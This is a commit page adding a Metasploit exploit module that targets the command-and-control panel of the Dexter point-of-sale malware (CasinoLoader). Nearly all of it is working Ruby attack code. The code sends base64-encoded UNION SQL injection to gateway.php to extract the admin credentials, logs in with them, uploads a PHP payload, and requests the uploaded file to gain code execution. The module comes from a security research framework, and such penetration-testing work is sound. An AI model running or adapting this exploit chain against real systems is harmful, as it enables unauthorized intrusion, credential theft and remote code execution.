Land #2973 - Dexter panel (CasinoLoader) SQLi to file upload code exec
commit
9daffbd484
|
@ -0,0 +1,172 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Dexter (CasinoLoader) SQL Injection",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in the command and control panel
|
||||
used to control Dexter (Point of Sale malware). This is done by accessing the
|
||||
PHP page used by bots to report in (gateway.php) which does not sanitize input.
|
||||
Input is encrypted and encoded, but the key is supplied by the bot connecting.
|
||||
The 'page' parameter is used in this case. The command and control panel designates
|
||||
a location to upload files, and can be used as a reliable location to write a
|
||||
PHP shell. Authentication is not needed to exploit this vulnerability.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'bwall (Brian Wallace) <bwallace[at]cylance.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[
|
||||
"URL", "http://www.xylibox.com/2013/08/point-of-sale-malware-infostealerdexter.html"
|
||||
]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00"
|
||||
},
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
['CasinoLoader gateway.php on Windows', {}],
|
||||
['CasinoLoader gateway.php on Linux', {}]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Feb 08 2014"
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The path to the CasinoLoader root folder', '/']),
|
||||
OptString.new('TARGETGATEWAY', [true, 'Name of bot gateway page', 'gateway.php']),
|
||||
OptString.new('TARGETLOGIN', [true, 'Name of panel login page', 'index.php']),
|
||||
OptString.new('TARGETUPLOAD', [true, 'Name of panel upload page', 'upload.php']),
|
||||
OptString.new('TARGETDATABASEUSERTABLE', [true, 'Table in database that holds admin data', 'users'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def gateway
|
||||
return normalize_uri(target_uri.path, datastore['TARGETGATEWAY'])
|
||||
end
|
||||
|
||||
def login
|
||||
return normalize_uri(target_uri.path, datastore['TARGETLOGIN'])
|
||||
end
|
||||
|
||||
def upload
|
||||
return normalize_uri(target_uri.path, datastore['TARGETUPLOAD'])
|
||||
end
|
||||
|
||||
def database_get_field(table, column, row)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri'=>gateway,
|
||||
'vars_post' => {
|
||||
'val' => 'AA==',
|
||||
'page' => Rex::Text.encode_base64("' AND 1=2 UNION ALL SELECT 1," + column + ",3 FROM " + table + " LIMIT 1 OFFSET " + row.to_s + " -- --")
|
||||
}
|
||||
})
|
||||
if res and res.headers.has_key?('Set-Cookie') and res.headers['Set-Cookie'].start_with?('response=')
|
||||
return Rex::Text.decode_base64(URI.unescape(res.headers['Set-Cookie']['response='.length..-1]))[1..-3]
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
def check
|
||||
testvalue = rand_text_alpha(9)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri'=>gateway,
|
||||
'vars_post' => {
|
||||
'val' => 'AA==',
|
||||
'page' => Rex::Text.encode_base64("' AND 1=2 UNION ALL SELECT 1,'" + testvalue + "',3 -- --")
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.headers.has_key?('Set-Cookie') and res.headers['Set-Cookie'].start_with?('response=') and
|
||||
Rex::Text.decode_base64(URI.unescape(res.headers['Set-Cookie']['response='.length..-1])) == '$' + testvalue + ';#' and database_get_field('users', 'name', 0) != false
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
payload_name = rand_text_alpha(rand(10) + 5) + '.php'
|
||||
|
||||
print_status("#{peer} - Using SQL injection to acquire credentials")
|
||||
user = database_get_field('users', 'name', 0)
|
||||
if user == false
|
||||
print_error("#{peer} - Failed to acquire administrator username")
|
||||
return
|
||||
end
|
||||
|
||||
password = database_get_field('users', 'password', 0)
|
||||
if password == false
|
||||
print_error("#{peer} - Failed to acquire administrator password")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Using #{user}:#{password}")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri'=>login,
|
||||
'vars_post' => {
|
||||
'submit' => '1',
|
||||
'username' => user,
|
||||
'password' => password
|
||||
}
|
||||
})
|
||||
|
||||
login_cookie = ""
|
||||
|
||||
if res and res.headers.has_key?('Location')
|
||||
login_cookie = res.get_cookies
|
||||
print_status("#{peer} - Login successful")
|
||||
else
|
||||
print_error("#{peer} - Failed to log in")
|
||||
return
|
||||
end
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part("MAX_FILE_SIZE", nil, nil, 'form-data; name="MAX_FILE_SIZE"')
|
||||
data.add_part("<?php #{payload.encoded} ?>", nil, nil, "form-data; name=\"uploadedfile\"; filename=\"#{payload_name}\"")
|
||||
post_data = data.to_s
|
||||
|
||||
print_status("#{peer} - Sending PHP payload (#{payload_name})")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => upload,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'cookie' => login_cookie,
|
||||
'data' => post_data
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /a href="upload.php\?del=(.*)">/
|
||||
path = $1
|
||||
if target.name =~ /Linux/
|
||||
path = path.sub! "\\", "/"
|
||||
end
|
||||
target_path = normalize_uri(target_uri.path, path)
|
||||
print_status("#{peer} - Requesting: #{target_path}")
|
||||
send_request_raw({'uri' => normalize_uri(target_path)})
|
||||
handler
|
||||
else
|
||||
print_error("#{peer} - Failed to upload file")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue